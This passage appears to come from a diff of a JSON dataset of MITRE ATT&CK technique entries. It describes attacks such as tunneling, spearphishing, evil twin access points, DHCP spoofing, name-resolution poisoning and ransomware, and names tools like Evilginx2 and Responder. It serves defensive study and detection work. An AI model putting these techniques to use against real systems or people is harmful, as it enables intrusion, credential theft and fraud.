communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel. Protocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets. Adversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol or Service Impersonation to further conceal C2 communications and infrastructure.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1102.001", + "text": "ATT&CK technique: T1102.001 Dead Drop Resolver\nDescription: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1685.003", + "text": "ATT&CK technique: T1685.003 Modify or Spoof Tool UI\nDescription: Adversaries may spoof or manipulate security tool user interfaces (UIs) to falsely indicate tools are functioning normally and delay detection and response. Adversaries may present misleading or falsified security tool interfaces (UIs) that display normal or healthy status indicators, even when underlying security tools have been disabled, degraded, or otherwise tampered with. Security tools typically provide visibility into system health, alerting, and operational status; by misrepresenting this information, adversaries can undermine defender trust in these signals and obscure the true security posture of the system. This behavior is often used in conjunction with efforts to disable or modify tools, where adversaries first impair the functionality of defenses (e.g., EDR, logging agents) and then replace or mimic their interfaces to conceal the loss of visibility. By maintaining the appearance of normal operations, such as showing active protection, successful updates, or absence of threats, adversaries can delay investigation and response, enabling continued malicious activity. For example, adversaries may display a fake Windows Security interface or system tray icon indicating a “protected” or “healthy” state after disabling Windows Defender or related services.\nTactics: defense impairment\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1583.008", + "text": "ATT&CK technique: T1583.008 Malvertising\nDescription: Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements. Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. Adversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software. Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts. Malvertising may be used to support Drive-by Target and Drive-by Compromise, potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser. Adversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement. Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1583.001", + "text": "ATT&CK technique: T1583.001 Domains\nDescription: Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. Adversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines. Different URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names). Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history. Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars. In addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1600", + "text": "ATT&CK technique: T1600 Weaken Encryption\nDescription: Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. Encryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key. Adversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as Modify System Image, Reduce Key Space, and Disable Crypto Hardware, an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts.\nTactics: defense impairment\nPlatforms: Network Devices" + }, + { + "id": "T1480.001", + "text": "ATT&CK technique: T1480.001 Environmental Keying\nDescription: Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of Execution Guardrails that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment. Values can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses. By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult. These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs). Similar to Obfuscated Files or Information, adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution. By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult. This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. Like other Execution Guardrails, environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical Virtualization/Sandbox Evasion. While use of Virtualization/Sandbox Evasion may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1102.002", + "text": "ATT&CK technique: T1102.002 Bidirectional Communication\nDescription: Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1683.001", + "text": "ATT&CK technique: T1683.001 Written Content\nDescription: Adversaries may create or tailor written materials to support targeting and malicious operations. Content may include phishing lures, fraudulent financial communications, fabricated job postings, fabricated employment credentials and documentation, decoy documents, social media persona content, and supporting narratives used to sustain fabricated personas over time. Content may be authored manually, commissioned through third parties, or produced using AI-assisted tools. Written materials may impersonate legitimate government correspondence, diplomatic communications, or internal organizational documents to support targeting efforts. AI-assisted tools may also be used to tailor content to specific targets, industries, or regions. For example, adversaries may leverage AI to translate content into a target's native language or mimic the communication style of trusted senders. Written content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts. Written content does not include malicious code or scripts; for development of malicious code and scripts, see Develop Capabilities.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1608.003", + "text": "ATT&CK technique: T1608.003 Install Digital Certificate\nDescription: Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it. Adversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. Adversaries can obtain digital certificates (see Digital Certificates) or create self-signed certificates (see Digital Certificates). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1587.003", + "text": "ATT&CK technique: T1587.003 Digital Certificates\nDescription: Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA). Adversaries may create self-signed SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if added to the root of trust (i.e. Install Root Certificate). After creating a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1557.003", + "text": "ATT&CK technique: T1557.003 DHCP Spoofing\nDescription: Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation. DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients. The typical server-client interaction is as follows: 1. The client broadcasts a `DISCOVER` message. 2. The server responds with an `OFFER` message, which includes an available network address. 3. The client broadcasts a `REQUEST` message, which includes the network address offered. 4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters. Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers. Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network. DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address. Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations. Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1683.002", + "text": "ATT&CK technique: T1683.002 Audio-Visual Content\nDescription: Adversaries may create or manipulate audio, image, and video content to support targeting and malicious operations. Adversaries may also use synthetic voice recordings, real-time altered audio or video during live interactions, fabricated profile photos and identity documents, or video content depicting fabricated or impersonated individuals. Content may be produced manually through editing tools, generated using AI-assisted tools, or produced using third-party synthetic services. AI-assisted tools have enabled adversaries to produce synthetic media at scale and generate content that is more difficult to identify as inauthentic. Audio-visual content produced through these methods may be used in support of other techniques, such as Phishing, Spearphishing via Service, Phishing for Information, Internal Spearphishing, Social Engineering, Financial Theft, or Establish Accounts.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1071.001", + "text": "ATT&CK technique: T1071.001 Web Protocols\nDescription: Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Protocols such as HTTP/S and WebSocket that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1496.003", + "text": "ATT&CK technique: T1496.003 SMS Pumping\nDescription: Adversaries may leverage messaging services for SMS pumping, which may impact system and/or hosted service availability. SMS pumping is a type of telecommunications fraud whereby a threat actor first obtains a set of phone numbers from a telecommunications provider, then leverages a victim’s messaging infrastructure to send large amounts of SMS messages to numbers in that set. By generating SMS traffic to their phone number set, a threat actor may earn payments from the telecommunications provider. Threat actors often use publicly available web forms, such as one-time password (OTP) or account verification fields, in order to generate SMS traffic. These fields may leverage services such as Twilio, AWS SNS, and Amazon Cognito in the background. In response to the large quantity of requests, SMS costs may increase and communication channels may become overwhelmed.\nTactics: impact\nPlatforms: SaaS" + }, + { + "id": "T1027.013", + "text": "ATT&CK technique: T1027.013 Encrypted/Encoded File\nDescription: Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use. This type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files. Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64. The entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection. For example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a Phishing payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., User Execution). Adversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until Command and Scripting Interpreter execution.\nTactics: stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.002", + "text": "ATT&CK technique: T1584.002 DNS Server\nDescription: Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary. Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications. Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative Cloud Account. Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1557.001", + "text": "ATT&CK technique: T1557.001 Name Resolution Poisoning and SMB Relay\nDescription: By responding to LLMNR/NBT-NS/mDNS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. Multicast Domain Name System(mDNS) is a zero-configuration service used to resolve hostnames to IP addresses with “.local” as a top-level domain. MDNS is based upon Domain Name System (DNS) format and allows hosts on the same network segment to perform name resolution for other hosts, using multicast. Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137)/mDNS (UDP 5353) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through Network Sniffing and crack the hashes offline through Brute Force to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various other protocols, such as LDAP, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response. Several tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and Responder.\nTactics: collection, credential access\nPlatforms: Windows" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584", + "text": "ATT&CK technique: T1584 Compromise Infrastructure\nDescription: Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks. By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1592.001", + "text": "ATT&CK technique: T1592.001 Hardware\nDescription: Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning (ex: hostnames, server banners, user agent strings) or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Compromise Hardware Supply Chain or Hardware Additions).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1486", + "text": "ATT&CK technique: T1486 Data Encrypted for Impact\nDescription: Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted. In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR. Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors. To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares. Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\"). In cloud environments, storage objects within compromised accounts may also be encrypted. For example, in AWS environments, adversaries may leverage services such as AWS’s Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.\nTactics: impact\nPlatforms: ESXi, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1553.004", + "text": "ATT&CK technique: T1553.004 Install Root Certificate\nDescription: Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. Atypical root certificates have also been pre-installed on systems 